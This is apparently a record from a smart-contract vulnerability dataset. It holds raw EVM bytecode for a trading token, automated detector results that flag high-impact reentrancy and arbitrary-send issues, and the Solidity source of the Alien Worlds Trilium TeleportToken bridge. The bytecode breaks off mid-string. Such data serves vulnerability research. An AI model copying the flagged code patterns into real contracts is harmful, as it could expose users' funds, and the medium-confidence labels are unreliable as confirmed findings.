6310000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f65565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f25565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613005565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613085565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131db565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f03565b60405180910390fd5b5060008385611c8a91906132bc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f45565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612972565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c0565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613262565b90508284826121509190613231565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc5565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f03565b60405180910390fd5b50600083856122939190613231565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124228161261f565b61242c84836126dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a5565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b60008060006006549050600068056bc75e2d6310000090506124e468056bc75e2d6310000060065461219b90919063ffffffff16565b8210156125035760065468056bc75e2d6310000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252c8a600854600c612716565b925092509250600061253c612212565b9050600080600061254f8e8787876127ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d091906131db565b905083811015612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90612f85565b60405180910390fd5b8091505092915050565b6000612629612212565b90506000612640828461212090919063ffffffff16565b905061269481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f18260065461257790919063ffffffff16565b60068190555061270c816007546125c190919063ffffffff16565b6007819055505050565b6000806000806127426064612734888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276c606461275e888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279582612787858c61257790919063ffffffff16565b61257790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c5858961212090919063ffffffff16565b905060006127dc868961212090919063ffffffff16565b905060006127f3878961212090919063ffffffff16565b9050600061281c8261280e858761257790919063ffffffff16565b61257790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128486128438461315a565b613135565b9050808382526020820190508285602086028201111561286757600080fd5b60005b85811015612897578161287d88826128a1565b84526020840193506020830192505060018101905061286a565b5050509392505050565b6000813590506128b081613798565b92915050565b6000815190506128c581613798565b92915050565b600082601f8301126128dc57600080fd5b81356128ec848260208601612835565b91505092915050565b600081359050612904816137af565b92915050565b600081519050612919816137af565b92915050565b60008135905061292e816137c6565b92915050565b600081519050612943816137c6565b92915050565b60006020828403121561295b57600080fd5b6000612969848285016128a1565b91505092915050565b60006020828403121561298457600080fd5b6000612992848285016128b6565b91505092915050565b600080604083850312156129ae57600080fd5b60006129bc858286016128a1565b92505060206129cd858286016128a1565b9150509250929050565b6000806000606084860312156129ec57600080fd5b60006129fa868287016128a1565b9350506020612a0b868287016128a1565b9250506040612a1c8682870161291f565b9150509250925092565b60008060408385031215612a3957600080fd5b6000612a47858286016128a1565b9250506020612a588582860161291f565b9150509250929050565b600060208284031215612a7457600080fd5b600082013567ffffffffffffffff811115612a8e57600080fd5b612a9a848285016128cb565b91505092915050565b600060208284031215612ab557600080fd5b6000612ac3848285016128f5565b91505092915050565b600060208284031215612ade57600080fd5b6000612aec8482850161290a565b91505092915050565b600060208284031215612b0757600080fd5b6000612b158482850161291f565b91505092915050565b600080600060608486031215612b3357600080fd5b6000612b4186828701612934565b9350506020612b5286828701612934565b9250506040612b6386828701612934565b9150509250925092565b6000612b798383612b85565b60208301905092915050565b612b8e816132f0565b82525050565b612b9d816132f0565b82525050565b6000612bae82613196565b612bb881856131b9565b9350612bc383613186565b8060005b83811015612bf4578151612bdb8882612b6d565b9750612be6836131ac565b925050600181019050612bc7565b5085935050505092915050565b612c0a81613302565b82525050565b612c1981613345565b82525050565b6000612c2a826131a1565b612c3481856131ca565b9350612c44818560208601613357565b612c4d81613491565b840191505092915050565b6000612c656023836131ca565b9150612c70826134a2565b604082019050919050565b6000612c88602a836131ca565b9150612c93826134f1565b604082019050919050565b6000612cab6022836131ca565b9150612cb682613540565b604082019050919050565b6000612cce601b836131ca565b9150612cd98261358f565b602082019050919050565b6000612cf1601d836131ca565b9150612cfc826135b8565b602082019050919050565b6000612d146021836131ca565b9150612d1f826135e1565b604082019050919050565b6000612d376020836131ca565b9150612d4282613630565b602082019050919050565b6000612d5a6029836131ca565b9150612d6582613659565b604082019050919050565b6000612d7d6025836131ca565b9150612d88826136a8565b604082019050919050565b6000612da06024836131ca565b9150612dab826136f7565b604082019050919050565b6000612dc36017836131ca565b9150612dce82613746565b602082019050919050565b6000612de66011836131ca565b9150612df18261376f565b602082019050919050565b612e058161332e565b82525050565b612e1481613338565b82525050565b6000602082019050612e2f6000830184612b94565b92915050565b6000604082019050612e4a6000830185612b94565b612e576020830184612b94565b9392505050565b6000604082019050612e736000830185612b94565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b94565b612ea96020830188612dfc565b612eb66040830187612c10565b612ec36060830186612c10565b612ed06080830185612b94565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612c01565b92915050565b60006020820190508181036000830152612f1d8184612c1f565b905092915050565b60006020820190508181036000830152612f3e81612c58565b9050919050565b60006020820190508181036000830152612f5e81612c7b565b9050919050565b60006020820190508181036000830152612f7e81612c9e565b9050919050565b60006020820190508181036000830152612f9e81612cc1565b9050919050565b60006020820190508181036000830152612fbe81612ce4565b9050919050565b60006020820190508181036000830152612fde81612d07565b9050919050565b60006020820190508181036000830152612ffe81612d2a565b9050919050565b6000602082019050818103600083015261301e81612d4d565b9050919050565b6000602082019050818103600083015261303e81612d70565b9050919050565b6000602082019050818103600083015261305e81612d93565b9050919050565b6000602082019050818103600083015261307e81612db6565b9050919050565b6000602082019050818103600083015261309e81612dd9565b9050919050565b60006020820190506130ba6000830184612dfc565b92915050565b600060a0820190506130d56000830188612dfc565b6130e26020830187612c10565b81810360408301526130f48186612ba3565b90506131036060830185612b94565b6131106080830184612dfc565b9695505050505050565b600060208201905061312f6000830184612e0b565b92915050565b600061313f613150565b905061314b828261338a565b919050565b6000604051905090565b600067ffffffffffffffff82111561317557613174613462565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e68261332e565b91506131f18361332e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322657613225613404565b5b828201905092915050565b600061323c8261332e565b91506132478361332e565b92508261325757613256613433565b5b828204905092915050565b600061326d8261332e565b91506132788361332e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b1576132b0613404565b5b828202905092915050565b60006132c78261332e565b91506132d28361332e565b9250828210156132e5576132e4613404565b5b828203905092915050565b60006132fb8261330e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133508261332e565b9050919050565b60005b8381101561337557808201518184015260208101905061335a565b83811115613384576000848401525b50505050565b61339382613491565b810181811067ffffffffffffffff821117156133b2576133b1613462565b5b80604052505050565b60006133c68261332e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f9576133f8613404565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a1816132f0565b81146137ac57600080fd5b50565b6137b881613302565b81146137c357600080fd5b50565b6137cf8161332e565b81146137da57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122094764c86f587a3cd764445a896f02b895d6cb3f8e1e8a966a950103ca700255464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,103 |
0x8888816f3055dd3a772b6ba4e3c28920b1742333
|
pragma solidity ^0.6.12;
/*
* SPDX-License-Identifier: MIT
*/
pragma experimental ABIEncoderV2;
contract Verify {
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(message, v, r, s);
}
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
return (v, r, s);
}
}
library Endian {
/* https://ethereum.stackexchange.com/questions/83626/how-to-reverse-byte-order-in-uint256-or-bytes32 */
function reverse64(uint64 input) internal pure returns (uint64 v) {
v = input;
// swap bytes
v = ((v & 0xFF00FF00FF00FF00) >> 8) |
((v & 0x00FF00FF00FF00FF) << 8);
// swap 2-byte long pairs
v = ((v & 0xFFFF0000FFFF0000) >> 16) |
((v & 0x0000FFFF0000FFFF) << 16);
// swap 4-byte long pairs
v = (v >> 32) | (v << 32);
}
function reverse32(uint32 input) internal pure returns (uint32 v) {
v = input;
// swap bytes
v = ((v & 0xFF00FF00) >> 8) |
((v & 0x00FF00FF) << 8);
// swap 2-byte long pairs
v = (v >> 16) | (v << 16);
}
function reverse16(uint16 input) internal pure returns (uint16 v) {
v = input;
// swap bytes
v = (v >> 8) | (v << 8);
}
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Oracled is Owned {
mapping(address => bool) public oracles;
modifier onlyOracle {
require(oracles[msg.sender] == true, "Account is not a registered oracle");
_;
}
function regOracle(address _newOracle) public onlyOwner {
require(!oracles[_newOracle], "Oracle is already registered");
oracles[_newOracle] = true;
}
function unregOracle(address _remOracle) public onlyOwner {
require(oracles[_remOracle] == true, "Oracle is not registered");
delete oracles[_remOracle];
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply, added teleport method
// ----------------------------------------------------------------------------
contract TeleportToken is ERC20Interface, Owned, Oracled, Verify {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint8 public threshold;
uint8 public thisChainId;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(uint64 => mapping(address => bool)) signed;
mapping(uint64 => bool) public claimed;
event Teleport(address indexed from, string to, uint tokens, uint chainId);
event Claimed(uint64 id, address to, uint tokens);
struct TeleportData {
uint64 id;
uint32 ts;
uint64 fromAddr;
uint64 quantity;
uint64 symbolRaw;
uint8 chainId;
address toAddress;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TLM";
name = "Alien Worlds Trilium";
decimals = 4;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[address(0)] = _totalSupply;
threshold = 3;
thisChainId = 1;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() override public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) override public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Moves tokens to the inaccessible account and then sends event for the oracles
// to monitor and issue on other chain
// to : EOS address
// tokens : number of tokens in satoshis
// chainId : The chain id that they will be sent to
// ------------------------------------------------------------------------
function teleport(string memory to, uint tokens, uint chainid) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[address(0)] = balances[address(0)].add(tokens);
emit Teleport(msg.sender, to, tokens, chainid);
return true;
}
// ------------------------------------------------------------------------
// Claim tokens sent using signatures supplied to the other chain
// ------------------------------------------------------------------------
function verifySigData(bytes memory sigData) private returns (TeleportData memory) {
TeleportData memory td;
uint64 id;
uint32 ts;
uint64 fromAddr;
uint64 quantity;
uint64 symbolRaw;
uint8 chainId;
address toAddress;
assembly {
id := mload(add(add(sigData, 0x8), 0))
ts := mload(add(add(sigData, 0x4), 8))
fromAddr := mload(add(add(sigData, 0x8), 12))
quantity := mload(add(add(sigData, 0x8), 20))
symbolRaw := mload(add(add(sigData, 0x8), 28))
chainId := mload(add(add(sigData, 0x1), 36))
toAddress := mload(add(add(sigData, 0x14), 37))
}
td.id = Endian.reverse64(id);
td.ts = Endian.reverse32(ts);
td.fromAddr = Endian.reverse64(fromAddr);
td.quantity = Endian.reverse64(quantity);
td.symbolRaw = Endian.reverse64(symbolRaw);
td.chainId = chainId;
td.toAddress = toAddress;
require(thisChainId == td.chainId, "Invalid Chain ID");
require(block.timestamp < SafeMath.add(td.ts, (60 * 60 * 24 * 30)), "Teleport has expired");
require(!claimed[td.id], "Already Claimed");
claimed[td.id] = true;
return td;
}
function claim(bytes memory sigData, bytes[] calldata signatures) public returns (address toAddress) {
TeleportData memory td = verifySigData(sigData);
// verify signatures
require(sigData.length == 69, "Signature data is the wrong size");
require(signatures.length <= 10, "Maximum of 10 signatures can be provided");
bytes32 message = keccak256(sigData);
uint8 numberSigs = 0;
for (uint8 i = 0; i < signatures.length; i++){
address potential = Verify.recoverSigner(message, signatures[i]);
// Check that they are an oracle and they haven't signed twice
if (oracles[potential] && !signed[td.id][potential]){
signed[td.id][potential] = true;
numberSigs++;
if (numberSigs >= 10){
break;
}
}
}
require(numberSigs >= threshold, "Not enough valid signatures provided");
balances[address(0)] = balances[address(0)].sub(td.quantity);
balances[td.toAddress] = balances[td.toAddress].add(td.quantity);
emit Claimed(td.id, td.toAddress, td.quantity);
return td.toAddress;
}
function updateThreshold(uint8 newThreshold) public onlyOwner returns (bool success) {
if (newThreshold > 0){
require(newThreshold <= 10, "Threshold has maximum of 10");
threshold = newThreshold;
return true;
}
return false;
}
function updateChainId(uint8 newChainId) public onlyOwner returns (bool success) {
if (newChainId > 0){
require(newChainId <= 100, "ChainID is too big");
thisChainId = newChainId;
return true;
}
return false;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
receive () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063cae9ca511161008a578063dd62ed3e11610064578063dd62ed3e146106a6578063e3d29c5d146106e3578063f2fde38b1461070e578063f3df5b6914610737576101c5565b8063cae9ca5114610601578063d4ee1d901461063e578063dc39d06d14610669576101c5565b80639ea8a71a116100c65780639ea8a71a1461050b578063a7bb580314610548578063a9059cbb14610587578063addd5099146105c4576101c5565b806395d89b411461046657806397aba7f9146104915780639e8da543146104ce576101c5565b80636426d53d116101595780637739acc7116101335780637739acc7146103be57806379ba5097146103fb578063825540c7146104125780638da5cb5b1461043b576101c5565b80636426d53d1461031b57806370a0823114610358578063769c8d9014610395576101c5565b806323b872dd1161019557806323b872dd1461025d578063313ce5671461029a5780633eaaf86b146102c557806342cde4e8146102f0576101c5565b806306fdde03146101ca578063095ea7b3146101f557806318160ddd14610232576101c5565b366101c557600080fd5b600080fd5b3480156101d657600080fd5b506101df610774565b6040516101ec9190612da2565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190612672565b610812565b6040516102299190612d42565b60405180910390f35b34801561023e57600080fd5b50610247610904565b6040516102549190612f42565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f9190612623565b61094f565b6040516102919190612d42565b60405180910390f35b3480156102a657600080fd5b506102af610bfa565b6040516102bc9190612f94565b60405180910390f35b3480156102d157600080fd5b506102da610c0d565b6040516102e79190612f42565b60405180910390f35b3480156102fc57600080fd5b50610305610c13565b6040516103129190612f94565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d91906127d3565b610c26565b60405161034f9190612cb2565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a91906125be565b6110ce565b60405161038c9190612f42565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b791906125be565b611117565b005b3480156103ca57600080fd5b5061